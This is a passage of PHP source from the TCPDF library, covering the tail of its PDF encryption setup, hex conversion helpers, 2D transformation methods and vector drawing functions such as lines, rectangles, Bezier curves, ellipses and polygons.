$this->encryptdata['V'] = 4; $this->encryptdata['Length'] = 128; $this->encryptdata['CF']['CFM'] = 'AESV2'; $this->encryptdata['CF']['Length'] = 128; if ($this->encryptdata['pubkey']) { $this->encryptdata['SubFilter'] = 'adbe.pkcs7.s5'; $this->encryptdata['Recipients'] = array(); } break; } case 3: { // AES 256 bit $this->encryptdata['V'] = 5; $this->encryptdata['Length'] = 256; $this->encryptdata['CF']['CFM'] = 'AESV3'; $this->encryptdata['CF']['Length'] = 256; if ($this->encryptdata['pubkey']) { $this->encryptdata['SubFilter'] = 'adbe.pkcs7.s5'; $this->encryptdata['Recipients'] = array(); } break; } } $this->encrypted = true; $this->encryptdata['fileid'] = $this->convertHexStringToString($this->file_id); $this->_generateencryptionkey(); } /** * Convert hexadecimal string to string * @param $bs (string) byte-string to convert * @return String * @protected * @since 5.0.005 (2010-05-12) * @author Nicola Asuni */ protected function convertHexStringToString($bs) { $string = ''; // string to be returned $bslength = strlen($bs); if (($bslength % 2) != 0) { // padding $bs .= '0'; ++$bslength; } for ($i = 0; $i < $bslength; $i += 2) { $string .= chr(hexdec($bs[$i].$bs[($i + 1)])); } return $string; } /** * Convert string to hexadecimal string (byte string) * @param $s (string) string to convert * @return byte string * @protected * @since 5.0.010 (2010-05-17) * @author Nicola Asuni */ protected function convertStringToHexString($s) { $bs = ''; $chars = preg_split('//', $s, -1, PREG_SPLIT_NO_EMPTY); foreach ($chars as $c) { $bs .= sprintf('%02s', dechex(ord($c))); } return $bs; } /** * Convert encryption P value to a string of bytes, low-order byte first. * @param $protection (string) 32bit encryption permission value (P value) * @return String * @protected * @since 5.0.005 (2010-05-12) * @author Nicola Asuni */ protected function getEncPermissionsString($protection) { $binprot = sprintf('%032b', $protection); $str = chr(bindec(substr($binprot, 24, 8))); $str .= chr(bindec(substr($binprot, 16, 8))); $str .= chr(bindec(substr($binprot, 8, 8))); $str .= chr(bindec(substr($binprot, 0, 8))); return $str; } // END OF ENCRYPTION FUNCTIONS ------------------------- // START TRANSFORMATIONS SECTION ----------------------- /** * Starts a 2D tranformation saving current graphic state. * This function must be called before scaling, mirroring, translation, rotation and skewing. * Use StartTransform() before, and StopTransform() after the transformations to restore the normal behavior. * @public * @since 2.1.000 (2008-01-07) * @see StartTransform(), StopTransform() */ public function StartTransform() { if ($this->state != 2) { return; } $this->_out('q'); if ($this->inxobj) { // we are inside an XObject template $this->xobjects[$this->xobjid]['transfmrk'][] = strlen($this->xobjects[$this->xobjid]['outdata']); } else { $this->transfmrk[$this->page][] = $this->pagelen[$this->page]; } ++$this->transfmatrix_key; $this->transfmatrix[$this->transfmatrix_key] = array(); } /** * Stops a 2D tranformation restoring previous graphic state. * This function must be called after scaling, mirroring, translation, rotation and skewing. * Use StartTransform() before, and StopTransform() after the transformations to restore the normal behavior. * @public * @since 2.1.000 (2008-01-07) * @see StartTransform(), StopTransform() */ public function StopTransform() { if ($this->state != 2) { return; } $this->_out('Q'); if (isset($this->transfmatrix[$this->transfmatrix_key])) { array_pop($this->transfmatrix[$this->transfmatrix_key]); --$this->transfmatrix_key; } if ($this->inxobj) { // we are inside an XObject template array_pop($this->xobjects[$this->xobjid]['transfmrk']); } else { array_pop($this->transfmrk[$this->page]); } } /** * Horizontal Scaling. * @param $s_x (float) scaling factor for width as percent. 0 is not allowed. * @param $x (int) abscissa of the scaling center. Default is current x position * @param $y (int) ordinate of the scaling center. Default is current y position * @public * @since 2.1.000 (2008-01-07) * @see StartTransform(), StopTransform() */ public function ScaleX($s_x, $x='', $y='') { $this->Scale($s_x, 100, $x, $y); } /** * Vertical Scaling. * @param $s_y (float) scaling factor for height as percent. 0 is not allowed. * @param $x (int) abscissa of the scaling center. Default is current x position * @param $y (int) ordinate of the scaling center. Default is current y position * @public * @since 2.1.000 (2008-01-07) * @see StartTransform(), StopTransform() */ public function ScaleY($s_y, $x='', $y='') { $this->Scale(100, $s_y, $x, $y); } /** * Vertical and horizontal proportional Scaling. * @param $s (float) scaling factor for width and height as percent. 0 is not allowed. * @param $x (int) abscissa of the scaling center. Default is current x position * @param $y (int) ordinate of the scaling center. Default is current y position * @public * @since 2.1.000 (2008-01-07) * @see StartTransform(), StopTransform() */ public function ScaleXY($s, $x='', $y='') { $this->Scale($s, $s, $x, $y); } /** * Vertical and horizontal non-proportional Scaling. * @param $s_x (float) scaling factor for width as percent. 0 is not allowed. * @param $s_y (float) scaling factor for height as percent. 0 is not allowed. * @param $x (int) abscissa of the scaling center. Default is current x position * @param $y (int) ordinate of the scaling center. Default is current y position * @public * @since 2.1.000 (2008-01-07) * @see StartTransform(), StopTransform() */ public function Scale($s_x, $s_y, $x='', $y='') { if ($x === '') { $x = $this->x; } if ($y === '') { $y = $this->y; } if (($s_x == 0) OR ($s_y == 0)) { $this->Error('Please do not use values equal to zero for scaling'); } $y = ($this->h - $y) * $this->k; $x *= $this->k; //calculate elements of transformation matrix $s_x /= 100; $s_y /= 100; $tm = array(); $tm[0] = $s_x; $tm[1] = 0; $tm[2] = 0; $tm[3] = $s_y; $tm[4] = $x * (1 - $s_x); $tm[5] = $y * (1 - $s_y); //scale the coordinate system $this->Transform($tm); } /** * Horizontal Mirroring. * @param $x (int) abscissa of the point. Default is current x position * @public * @since 2.1.000 (2008-01-07) * @see StartTransform(), StopTransform() */ public function MirrorH($x='') { $this->Scale(-100, 100, $x); } /** * Verical Mirroring. * @param $y (int) ordinate of the point. Default is current y position * @public * @since 2.1.000 (2008-01-07) * @see StartTransform(), StopTransform() */ public function MirrorV($y='') { $this->Scale(100, -100, '', $y); } /** * Point reflection mirroring. * @param $x (int) abscissa of the point. Default is current x position * @param $y (int) ordinate of the point. Default is current y position * @public * @since 2.1.000 (2008-01-07) * @see StartTransform(), StopTransform() */ public function MirrorP($x='',$y='') { $this->Scale(-100, -100, $x, $y); } /** * Reflection against a straight line through point (x, y) with the gradient angle (angle). * @param $angle (float) gradient angle of the straight line. Default is 0 (horizontal line). * @param $x (int) abscissa of the point. Default is current x position * @param $y (int) ordinate of the point. Default is current y position * @public * @since 2.1.000 (2008-01-07) * @see StartTransform(), StopTransform() */ public function MirrorL($angle=0, $x='',$y='') { $this->Scale(-100, 100, $x, $y); $this->Rotate(-2*($angle-90), $x, $y); } /** * Translate graphic object horizontally. * @param $t_x (int) movement to the right (or left for RTL) * @public * @since 2.1.000 (2008-01-07) * @see StartTransform(), StopTransform() */ public function TranslateX($t_x) { $this->Translate($t_x, 0); } /** * Translate graphic object vertically. * @param $t_y (int) movement to the bottom * @public * @since 2.1.000 (2008-01-07) * @see StartTransform(), StopTransform() */ public function TranslateY($t_y) { $this->Translate(0, $t_y); } /** * Translate graphic object horizontally and vertically. * @param $t_x (int) movement to the right * @param $t_y (int) movement to the bottom * @public * @since 2.1.000 (2008-01-07) * @see StartTransform(), StopTransform() */ public function Translate($t_x, $t_y) { //calculate elements of transformation matrix $tm = array(); $tm[0] = 1; $tm[1] = 0; $tm[2] = 0; $tm[3] = 1; $tm[4] = $t_x * $this->k; $tm[5] = -$t_y * $this->k; //translate the coordinate system $this->Transform($tm); } /** * Rotate object. * @param $angle (float) angle in degrees for counter-clockwise rotation * @param $x (int) abscissa of the rotation center. Default is current x position * @param $y (int) ordinate of the rotation center. Default is current y position * @public * @since 2.1.000 (2008-01-07) * @see StartTransform(), StopTransform() */ public function Rotate($angle, $x='', $y='') { if ($x === '') { $x = $this->x; } if ($y === '') { $y = $this->y; } $y = ($this->h - $y) * $this->k; $x *= $this->k; //calculate elements of transformation matrix $tm = array(); $tm[0] = cos(deg2rad($angle)); $tm[1] = sin(deg2rad($angle)); $tm[2] = -$tm[1]; $tm[3] = $tm[0]; $tm[4] = $x + ($tm[1] * $y) - ($tm[0] * $x); $tm[5] = $y - ($tm[0] * $y) - ($tm[1] * $x); //rotate the coordinate system around ($x,$y) $this->Transform($tm); } /** * Skew horizontally. * @param $angle_x (float) angle in degrees between -90 (skew to the left) and 90 (skew to the right) * @param $x (int) abscissa of the skewing center. default is current x position * @param $y (int) ordinate of the skewing center. default is current y position * @public * @since 2.1.000 (2008-01-07) * @see StartTransform(), StopTransform() */ public function SkewX($angle_x, $x='', $y='') { $this->Skew($angle_x, 0, $x, $y); } /** * Skew vertically. * @param $angle_y (float) angle in degrees between -90 (skew to the bottom) and 90 (skew to the top) * @param $x (int) abscissa of the skewing center. default is current x position * @param $y (int) ordinate of the skewing center. default is current y position * @public * @since 2.1.000 (2008-01-07) * @see StartTransform(), StopTransform() */ public function SkewY($angle_y, $x='', $y='') { $this->Skew(0, $angle_y, $x, $y); } /** * Skew. * @param $angle_x (float) angle in degrees between -90 (skew to the left) and 90 (skew to the right) * @param $angle_y (float) angle in degrees between -90 (skew to the bottom) and 90 (skew to the top) * @param $x (int) abscissa of the skewing center. default is current x position * @param $y (int) ordinate of the skewing center. default is current y position * @public * @since 2.1.000 (2008-01-07) * @see StartTransform(), StopTransform() */ public function Skew($angle_x, $angle_y, $x='', $y='') { if ($x === '') { $x = $this->x; } if ($y === '') { $y = $this->y; } if (($angle_x <= -90) OR ($angle_x >= 90) OR ($angle_y <= -90) OR ($angle_y >= 90)) { $this->Error('Please use values between -90 and +90 degrees for Skewing.'); } $x *= $this->k; $y = ($this->h - $y) * $this->k; //calculate elements of transformation matrix $tm = array(); $tm[0] = 1; $tm[1] = tan(deg2rad($angle_y)); $tm[2] = tan(deg2rad($angle_x)); $tm[3] = 1; $tm[4] = -$tm[2] * $y; $tm[5] = -$tm[1] * $x; //skew the coordinate system $this->Transform($tm); } /** * Apply graphic transformations. * @param $tm (array) transformation matrix * @protected * @since 2.1.000 (2008-01-07) * @see StartTransform(), StopTransform() */ protected function Transform($tm) { if ($this->state != 2) { return; } $this->_out(sprintf('%F %F %F %F %F %F cm', $tm[0], $tm[1], $tm[2], $tm[3], $tm[4], $tm[5])); // add tranformation matrix $this->transfmatrix[$this->transfmatrix_key][] = array('a' => $tm[0], 'b' => $tm[1], 'c' => $tm[2], 'd' => $tm[3], 'e' => $tm[4], 'f' => $tm[5]); // update transformation mark if ($this->inxobj) { // we are inside an XObject template if (end($this->xobjects[$this->xobjid]['transfmrk']) !== false) { $key = key($this->xobjects[$this->xobjid]['transfmrk']); $this->xobjects[$this->xobjid]['transfmrk'][$key] = strlen($this->xobjects[$this->xobjid]['outdata']); } } elseif (end($this->transfmrk[$this->page]) !== false) { $key = key($this->transfmrk[$this->page]); $this->transfmrk[$this->page][$key] = $this->pagelen[$this->page]; } } // END TRANSFORMATIONS SECTION ------------------------- // START GRAPHIC FUNCTIONS SECTION --------------------- // The following section is based on the code provided by David Hernandez Sanz /** * Defines the line width. By default, the value equals 0.2 mm. The method can be called before the first page is created and the value is retained from page to page. * @param $width (float) The width. * @public * @since 1.0 * @see Line(), Rect(), Cell(), MultiCell() */ public function SetLineWidth($width) { //Set line width $this->LineWidth = $width; $this->linestyleWidth = sprintf('%F w', ($width * $this->k)); if ($this->state == 2) { $this->_out($this->linestyleWidth); } } /** * Returns the current the line width. * @return int Line width * @public * @since 2.1.000 (2008-01-07) * @see Line(), SetLineWidth() */ public function GetLineWidth() { return $this->LineWidth; } /** * Set line style. * @param $style (array) Line style. Array with keys among the following: * <ul> * <li>width (float): Width of the line in user units.</li> * <li>cap (string): Type of cap to put on the line. Possible values are: * butt, round, square. The difference between "square" and "butt" is that * "square" projects a flat end past the end of the line.</li> * <li>join (string): Type of join. Possible values are: miter, round, * bevel.</li> * <li>dash (mixed): Dash pattern. Is 0 (without dash) or string with * series of length values, which are the lengths of the on and off dashes. * For example: "2" represents 2 on, 2 off, 2 on, 2 off, ...; "2,1" is 2 on, * 1 off, 2 on, 1 off, ...</li> * <li>phase (integer): Modifier on the dash pattern which is used to shift * the point at which the pattern starts.</li> * <li>color (array): Draw color. Format: array(GREY) or array(R,G,B) or array(C,M,Y,K) or array(C,M,Y,K,SpotColorName).</li> * </ul> * @param $ret (boolean) if true do not send the command. * @return string the PDF command * @public * @since 2.1.000 (2008-01-08) */ public function SetLineStyle($style, $ret=false) { $s = ''; // string to be returned if (!is_array($style)) { return; } if (isset($style['width'])) { $this->LineWidth = $style['width']; $this->linestyleWidth = sprintf('%F w', ($style['width'] * $this->k)); $s .= $this->linestyleWidth.' '; } if (isset($style['cap'])) { $ca = array('butt' => 0, 'round'=> 1, 'square' => 2); if (isset($ca[$style['cap']])) { $this->linestyleCap = $ca[$style['cap']].' J'; $s .= $this->linestyleCap.' '; } } if (isset($style['join'])) { $ja = array('miter' => 0, 'round' => 1, 'bevel' => 2); if (isset($ja[$style['join']])) { $this->linestyleJoin = $ja[$style['join']].' j'; $s .= $this->linestyleJoin.' '; } } if (isset($style['dash'])) { $dash_string = ''; if ($style['dash']) { if (preg_match('/^.+,/', $style['dash']) > 0) { $tab = explode(',', $style['dash']); } else { $tab = array($style['dash']); } $dash_string = ''; foreach ($tab as $i => $v) { if ($i) { $dash_string .= ' '; } $dash_string .= sprintf('%F', $v); } } if (!isset($style['phase']) OR !$style['dash']) { $style['phase'] = 0; } $this->linestyleDash = sprintf('[%s] %F d', $dash_string, $style['phase']); $s .= $this->linestyleDash.' '; } if (isset($style['color'])) { $s .= $this->SetDrawColorArray($style['color'], true).' '; } if (!$ret AND ($this->state == 2)) { $this->_out($s); } return $s; } /** * Begin a new subpath by moving the current point to coordinates (x, y), omitting any connecting line segment. * @param $x (float) Abscissa of point. * @param $y (float) Ordinate of point. * @protected * @since 2.1.000 (2008-01-08) */ protected function _outPoint($x, $y) { if ($this->state == 2) { $this->_out(sprintf('%F %F m', ($x * $this->k), (($this->h - $y) * $this->k))); } } /** * Append a straight line segment from the current point to the point (x, y). * The new current point shall be (x, y). * @param $x (float) Abscissa of end point. * @param $y (float) Ordinate of end point. * @protected * @since 2.1.000 (2008-01-08) */ protected function _outLine($x, $y) { if ($this->state == 2) { $this->_out(sprintf('%F %F l', ($x * $this->k), (($this->h - $y) * $this->k))); } } /** * Append a rectangle to the current path as a complete subpath, with lower-left corner (x, y) and dimensions widthand height in user space. * @param $x (float) Abscissa of upper-left corner. * @param $y (float) Ordinate of upper-left corner. * @param $w (float) Width. * @param $h (float) Height. * @param $op (string) options * @protected * @since 2.1.000 (2008-01-08) */ protected function _outRect($x, $y, $w, $h, $op) { if ($this->state == 2) { $this->_out(sprintf('%F %F %F %F re %s', $x * $this->k, ($this->h - $y) * $this->k, $w * $this->k, -$h * $this->k, $op)); } } /** * Append a cubic B�zier curve to the current path. The curve shall extend from the current point to the point (x3, y3), using (x1, y1) and (x2, y2) as the B�zier control points. * The new current point shall be (x3, y3). * @param $x1 (float) Abscissa of control point 1. * @param $y1 (float) Ordinate of control point 1. * @param $x2 (float) Abscissa of control point 2. * @param $y2 (float) Ordinate of control point 2. * @param $x3 (float) Abscissa of end point. * @param $y3 (float) Ordinate of end point. * @protected * @since 2.1.000 (2008-01-08) */ protected function _outCurve($x1, $y1, $x2, $y2, $x3, $y3) { if ($this->state == 2) { $this->_out(sprintf('%F %F %F %F %F %F c', $x1 * $this->k, ($this->h - $y1) * $this->k, $x2 * $this->k, ($this->h - $y2) * $this->k, $x3 * $this->k, ($this->h - $y3) * $this->k)); } } /** * Append a cubic B�zier curve to the current path. The curve shall extend from the current point to the point (x3, y3), using the current point and (x2, y2) as the B�zier control points. * The new current point shall be (x3, y3). * @param $x2 (float) Abscissa of control point 2. * @param $y2 (float) Ordinate of control point 2. * @param $x3 (float) Abscissa of end point. * @param $y3 (float) Ordinate of end point. * @protected * @since 4.9.019 (2010-04-26) */ protected function _outCurveV($x2, $y2, $x3, $y3) { if ($this->state == 2) { $this->_out(sprintf('%F %F %F %F v', $x2 * $this->k, ($this->h - $y2) * $this->k, $x3 * $this->k, ($this->h - $y3) * $this->k)); } } /** * Append a cubic B�zier curve to the current path. The curve shall extend from the current point to the point (x3, y3), using (x1, y1) and (x3, y3) as the B�zier control points. * The new current point shall be (x3, y3). * @param $x1 (float) Abscissa of control point 1. * @param $y1 (float) Ordinate of control point 1. * @param $x3 (float) Abscissa of end point. * @param $y3 (float) Ordinate of end point. * @protected * @since 2.1.000 (2008-01-08) */ protected function _outCurveY($x1, $y1, $x3, $y3) { if ($this->state == 2) { $this->_out(sprintf('%F %F %F %F y', $x1 * $this->k, ($this->h - $y1) * $this->k, $x3 * $this->k, ($this->h - $y3) * $this->k)); } } /** * Draws a line between two points. * @param $x1 (float) Abscissa of first point. * @param $y1 (float) Ordinate of first point. * @param $x2 (float) Abscissa of second point. * @param $y2 (float) Ordinate of second point. * @param $style (array) Line style. Array like for SetLineStyle(). Default value: default line style (empty array). * @public * @since 1.0 * @see SetLineWidth(), SetDrawColor(), SetLineStyle() */ public function Line($x1, $y1, $x2, $y2, $style=array()) { if ($this->state != 2) { return; } if (is_array($style)) { $this->SetLineStyle($style); } $this->_outPoint($x1, $y1); $this->_outLine($x2, $y2); $this->_out('S'); } /** * Draws a rectangle. * @param $x (float) Abscissa of upper-left corner. * @param $y (float) Ordinate of upper-left corner. * @param $w (float) Width. * @param $h (float) Height. * @param $style (string) Style of rendering. See the getPathPaintOperator() function for more information. * @param $border_style (array) Border style of rectangle. Array with keys among the following: * <ul> * <li>all: Line style of all borders. Array like for SetLineStyle().</li> * <li>L, T, R, B or combinations: Line style of left, top, right or bottom border. Array like for SetLineStyle().</li> * </ul> * If a key is not present or is null, not draws the border. Default value: default line style (empty array). * @param $fill_color (array) Fill color. Format: array(GREY) or array(R,G,B) or array(C,M,Y,K) or array(C,M,Y,K,SpotColorName). Default value: default color (empty array). * @public * @since 1.0 * @see SetLineStyle() */ public function Rect($x, $y, $w, $h, $style='', $border_style=array(), $fill_color=array()) { if ($this->state != 2) { return; } if (!(false === strpos($style, 'F')) AND !empty($fill_color)) { $this->SetFillColorArray($fill_color); } $op = $this->getPathPaintOperator($style); if ((!$border_style) OR (isset($border_style['all']))) { if (isset($border_style['all']) AND $border_style['all']) { $this->SetLineStyle($border_style['all']); $border_style = array(); } } $this->_outRect($x, $y, $w, $h, $op); if ($border_style) { $border_style2 = array(); foreach ($border_style as $line => $value) { $length = strlen($line); for ($i = 0; $i < $length; ++$i) { $border_style2[$line[$i]] = $value; } } $border_style = $border_style2; if (isset($border_style['L']) AND $border_style['L']) { $this->Line($x, $y, $x, $y + $h, $border_style['L']); } if (isset($border_style['T']) AND $border_style['T']) { $this->Line($x, $y, $x + $w, $y, $border_style['T']); } if (isset($border_style['R']) AND $border_style['R']) { $this->Line($x + $w, $y, $x + $w, $y + $h, $border_style['R']); } if (isset($border_style['B']) AND $border_style['B']) { $this->Line($x, $y + $h, $x + $w, $y + $h, $border_style['B']); } } } /** * Draws a Bezier curve. * The Bezier curve is a tangent to the line between the control points at * either end of the curve. * @param $x0 (float) Abscissa of start point. * @param $y0 (float) Ordinate of start point. * @param $x1 (float) Abscissa of control point 1. * @param $y1 (float) Ordinate of control point 1. * @param $x2 (float) Abscissa of control point 2. * @param $y2 (float) Ordinate of control point 2. * @param $x3 (float) Abscissa of end point. * @param $y3 (float) Ordinate of end point. * @param $style (string) Style of rendering. See the getPathPaintOperator() function for more information. * @param $line_style (array) Line style of curve. Array like for SetLineStyle(). Default value: default line style (empty array). * @param $fill_color (array) Fill color. Format: array(GREY) or array(R,G,B) or array(C,M,Y,K) or array(C,M,Y,K,SpotColorName). Default value: default color (empty array). * @public * @see SetLineStyle() * @since 2.1.000 (2008-01-08) */ public function Curve($x0, $y0, $x1, $y1, $x2, $y2, $x3, $y3, $style='', $line_style=array(), $fill_color=array()) { if ($this->state != 2) { return; } if (!(false === strpos($style, 'F')) AND isset($fill_color)) { $this->SetFillColorArray($fill_color); } $op = $this->getPathPaintOperator($style); if ($line_style) { $this->SetLineStyle($line_style); } $this->_outPoint($x0, $y0); $this->_outCurve($x1, $y1, $x2, $y2, $x3, $y3); $this->_out($op); } /** * Draws a poly-Bezier curve. * Each Bezier curve segment is a tangent to the line between the control points at * either end of the curve. * @param $x0 (float) Abscissa of start point. * @param $y0 (float) Ordinate of start point. * @param $segments (float) An array of bezier descriptions. Format: array(x1, y1, x2, y2, x3, y3). * @param $style (string) Style of rendering. See the getPathPaintOperator() function for more information. * @param $line_style (array) Line style of curve. Array like for SetLineStyle(). Default value: default line style (empty array). * @param $fill_color (array) Fill color. Format: array(GREY) or array(R,G,B) or array(C,M,Y,K) or array(C,M,Y,K,SpotColorName). Default value: default color (empty array). * @public * @see SetLineStyle() * @since 3.0008 (2008-05-12) */ public function Polycurve($x0, $y0, $segments, $style='', $line_style=array(), $fill_color=array()) { if ($this->state != 2) { return; } if (!(false === strpos($style, 'F')) AND isset($fill_color)) { $this->SetFillColorArray($fill_color); } $op = $this->getPathPaintOperator($style); if ($op == 'f') { $line_style = array(); } if ($line_style) { $this->SetLineStyle($line_style); } $this->_outPoint($x0, $y0); foreach ($segments as $segment) { list($x1, $y1, $x2, $y2, $x3, $y3) = $segment; $this->_outCurve($x1, $y1, $x2, $y2, $x3, $y3); } $this->_out($op); } /** * Draws an ellipse. * An ellipse is formed from n Bezier curves. * @param $x0 (float) Abscissa of center point. * @param $y0 (float) Ordinate of center point. * @param $rx (float) Horizontal radius. * @param $ry (float) Vertical radius (if ry = 0 then is a circle, see Circle()). Default value: 0. * @param $angle: (float) Angle oriented (anti-clockwise). Default value: 0. * @param $astart: (float) Angle start of draw line. Default value: 0. * @param $afinish: (float) Angle finish of draw line. Default value: 360. * @param $style (string) Style of rendering. See the getPathPaintOperator() function for more information. * @param $line_style (array) Line style of ellipse. Array like for SetLineStyle(). Default value: default line style (empty array). * @param $fill_color (array) Fill color. Format: array(GREY) or array(R,G,B) or array(C,M,Y,K) or array(C,M,Y,K,SpotColorName). Default value: default color (empty array). * @param $nc (integer) Number of curves used to draw a 90 degrees portion of ellipse. * @author Nicola Asuni * @public * @since 2.1.000 (2008-01-08) */ public function Ellipse($x0, $y0, $rx, $ry='', $angle=0, $astart=0, $afinish=360, $style='', $line_style=array(), $fill_color=array(), $nc=2) { if ($this->state != 2) { return; } if ($this->empty_string($ry) OR ($ry == 0)) { $ry = $rx; } if (!(false === strpos($style, 'F')) AND isset($fill_color)) { $this->SetFillColorArray($fill_color); } $op = $this->getPathPaintOperator($style); if ($op == 'f') { $line_style = array(); } if ($line_style) { $this->SetLineStyle($line_style); } $this->_outellipticalarc($x0, $y0, $rx, $ry, $angle, $astart, $afinish, false, $nc, true, true, false); $this->_out($op); } /** * Append an elliptical arc to the current path. * An ellipse is formed from n Bezier curves. * @param $xc (float) Abscissa of center point. * @param $yc (float) Ordinate of center point. * @param $rx (float) Horizontal radius. * @param $ry (float) Vertical radius (if ry = 0 then is a circle, see Circle()). Default value: 0. * @param $xang: (float) Angle between the X-axis and the major axis of the ellipse. Default value: 0. * @param $angs: (float) Angle start of draw line. Default value: 0. * @param $angf: (float) Angle finish of draw line. Default value: 360. * @param $pie (boolean) if true do not mark the border point (used to draw pie sectors). * @param $nc (integer) Number of curves used to draw a 90 degrees portion of ellipse. * @param $startpoint (boolean) if true output a starting point. * @param $ccw (boolean) if true draws in counter-clockwise. * @param $svg (boolean) if true the angles are in svg mode (already calculated). * @return array bounding box coordinates (x min, y min, x max, y max) * @author Nicola Asuni * @protected * @since 4.9.019 (2010-04-26) */ protected function _outellipticalarc($xc, $yc, $rx, $ry, $xang=0, $angs=0, $angf=360, $pie=false, $nc=2, $startpoint=true, $ccw=true, $svg=false) { $k = $this->k; if ($nc < 2) { $nc = 2; } $xmin = 2147483647; $ymin = 2147483647; $xmax = 0; $ymax = 0; if ($pie) { // center of the arc $this->_outPoint($xc, $yc); } $xang = deg2rad((float) $xang); $angs = deg2rad((float) $angs); $angf = deg2rad((float) $angf); if ($svg) { $as = $angs; $af = $angf; } else { $as = atan2((sin($angs) / $ry), (cos($angs) / $rx)); $af = atan2((sin($angf) / $ry), (cos($angf) / $rx)); } if ($as < 0) { $as += (2 * M_PI); } if ($af < 0) { $af += (2 * M_PI); } if ($ccw AND ($as > $af)) { // reverse rotation $as -= (2 * M_PI); } elseif (!$ccw AND ($as < $af)) { // reverse rotation $af -= (2 * M_PI); } $total_angle = ($af - $as); if ($nc < 2) { $nc = 2; } // total arcs to draw $nc *= (2 * abs($total_angle) / M_PI); $nc = round($nc) + 1; // angle of each arc $arcang = ($total_angle / $nc); // center point in PDF coordinates $x0 = $xc; $y0 = ($this->h - $yc); // starting angle $ang = $as; $alpha = sin($arcang) * ((sqrt(4 + (3 * pow(tan(($arcang) / 2), 2))) - 1) / 3); $cos_xang = cos($xang); $sin_xang = sin($xang); $cos_ang = cos($ang); $sin_ang = sin($ang); // first arc point $px1 = $x0 + ($rx * $cos_xang * $cos_ang) - ($ry * $sin_xang * $sin_ang); $py1 = $y0 + ($rx * $sin_xang * $cos_ang) + ($ry * $cos_xang * $sin_ang); // first Bezier control point $qx1 = ($alpha * ((-$rx * $cos_xang * $sin_ang) - ($ry * $sin_xang * $cos_ang))); $qy1 = ($alpha * ((-$rx * $sin_xang * $sin_ang) + ($ry * $cos_xang * $cos_ang))); if ($pie) { // line from center to arc starting point $this->_outLine($px1, $this->h - $py1); } elseif ($startpoint) { // arc starting point $this->_outPoint($px1, $this->h - $py1); } // draw arcs for ($i = 1; $i <= $nc; ++$i) { // starting angle $ang = $as + ($i * $arcang); if ($i == $nc) { $ang = $af; } $cos_ang = cos($ang); $sin_ang = sin($ang); // second arc point $px2 = $x0 + ($rx * $cos_xang * $cos_ang) - ($ry * $sin_xang * $sin_ang); $py2 = $y0 + ($rx * $sin_xang * $cos_ang) + ($ry * $cos_xang * $sin_ang); // second Bezier control point $qx2 = ($alpha * ((-$rx * $cos_xang * $sin_ang) - ($ry * $sin_xang * $cos_ang))); $qy2 = ($alpha * ((-$rx * $sin_xang * $sin_ang) + ($ry * $cos_xang * $cos_ang))); // draw arc $cx1 = ($px1 + $qx1); $cy1 = ($this->h - ($py1 + $qy1)); $cx2 = ($px2 - $qx2); $cy2 = ($this->h - ($py2 - $qy2)); $cx3 = $px2; $cy3 = ($this->h - $py2); $this->_outCurve($cx1, $cy1, $cx2, $cy2, $cx3, $cy3); // get bounding box coordinates $xmin = min($xmin, $cx1, $cx2, $cx3); $ymin = min($ymin, $cy1, $cy2, $cy3); $xmax = max($xmax, $cx1, $cx2, $cx3); $ymax = max($ymax, $cy1, $cy2, $cy3); // move to next point $px1 = $px2; $py1 = $py2; $qx1 = $qx2; $qy1 = $qy2; } if ($pie) { $this->_outLine($xc, $yc); // get bounding box coordinates $xmin = min($xmin, $xc); $ymin = min($ymin, $yc); $xmax = max($xmax, $xc); $ymax = max($ymax, $yc); } return array($xmin, $ymin, $xmax, $ymax); } /** * Draws a circle. * A circle is formed from n Bezier curves. * @param $x0 (float) Abscissa of center point. * @param $y0 (float) Ordinate of center point. * @param $r (float) Radius. * @param $angstr: (float) Angle start of draw line. Default value: 0. * @param $angend: (float) Angle finish of draw line. Default value: 360. * @param $style (string) Style of rendering. See the getPathPaintOperator() function for more information. * @param $line_style (array) Line style of circle. Array like for SetLineStyle(). Default value: default line style (empty array). * @param $fill_color (array) Fill color. Format: array(red, green, blue). Default value: default color (empty array). * @param $nc (integer) Number of curves used to draw a 90 degrees portion of circle. * @public * @since 2.1.000 (2008-01-08) */ public function Circle($x0, $y0, $r, $angstr=0, $angend=360, $style='', $line_style=array(), $fill_color=array(), $nc=2) { $this->Ellipse($x0, $y0, $r, $r, 0, $angstr, $angend, $style, $line_style, $fill_color, $nc); } /** * Draws a polygonal line * @param $p (array) Points 0 to ($np - 1). Array with values (x0, y0, x1, y1,..., x(np-1), y(np - 1)) * @param $style (string) Style of rendering. See the getPathPaintOperator() function for more information. * @param $line_style (array) Line style of polygon. Array with keys among the following: * <ul> * <li>all: Line style of all lines. Array like for SetLineStyle().</li> * <li>0 to ($np - 1): Line style of each line. Array like for SetLineStyle().</li> * </ul> * If a key is not present or is null, not draws the line. Default value is default line style (empty array). * @param $fill_color (array) Fill color. Format: array(GREY) or array(R,G,B) or array(C,M,Y,K) or array(C,M,Y,K,SpotColorName). Default value: default color (empty array). * @since 4.8.003 (2009-09-15) * @public */ public function PolyLine($p, $style='', $line_style=array(), $fill_color=array()) { $this->Polygon($p, $style, $line_style, $fill_color, false); } /** * Draws a polygon. * @param $p (array) Points 0 to ($np - 1). Array with values (x0, y0, x1, y1,..., x(np-1), y(np - 1)) * @param $style (string) Style of rendering. See the getPathPaintOperator() function for more information. * @param $line_style (array) Line style of polygon. Array with keys among the following: * <ul> * <li>all: Line style of all lines. Array like for SetLineStyle().</li> * <li>0 to ($np - 1): Line style of each line. Array like for SetLineStyle().</li> * </ul> * If a key is not present or is null, not draws the line. Default value is default line style (empty array). * @param $fill_color (array) Fill color. Format: array(GREY) or array(R,G,B) or array(C,M,Y,K) or array(C,M,Y,K,SpotColorName). Default value: default color (empty array). * @param $closed (boolean) if true the polygon is closes, otherwise will remain open * @public * @since 2.1.000 (2008-01-08) */ public function Polygon($p, $style='', $line_style=array(), $fill_color=array(), $closed=true) { if ($this->state != 2) { return; } $nc = count($p); // number of coordinates $np = $nc / 2; // number of points if ($closed) { // close polygon by adding the first 2 points at the end (one line) for ($i = 0; $i < 4; ++$i) { $p[$nc + $i] = $p[$i]; } // copy style for the last added line if (isset($line_style[0])) { $line_style[$np] = $line_style[0]; } $nc += 4; } if (!(false === strpos($style, 'F')) AND isset($fill_color)) { $this->SetFillColorArray($fill_color); } $op = $this->getPathPaintOperator($style); if ($op == 'f') { $line_style = array(); } $draw = true; if ($line_style) { if (isset($line_style['all'])) { $this->SetLineStyle($line_style['all']); } else { $draw = false; if ($op == 'B') { // draw fill $op = 'f'; $this->_outPoint($p[0], $p[1]); for ($i = 2; $i < $nc; $i = $i + 2) { 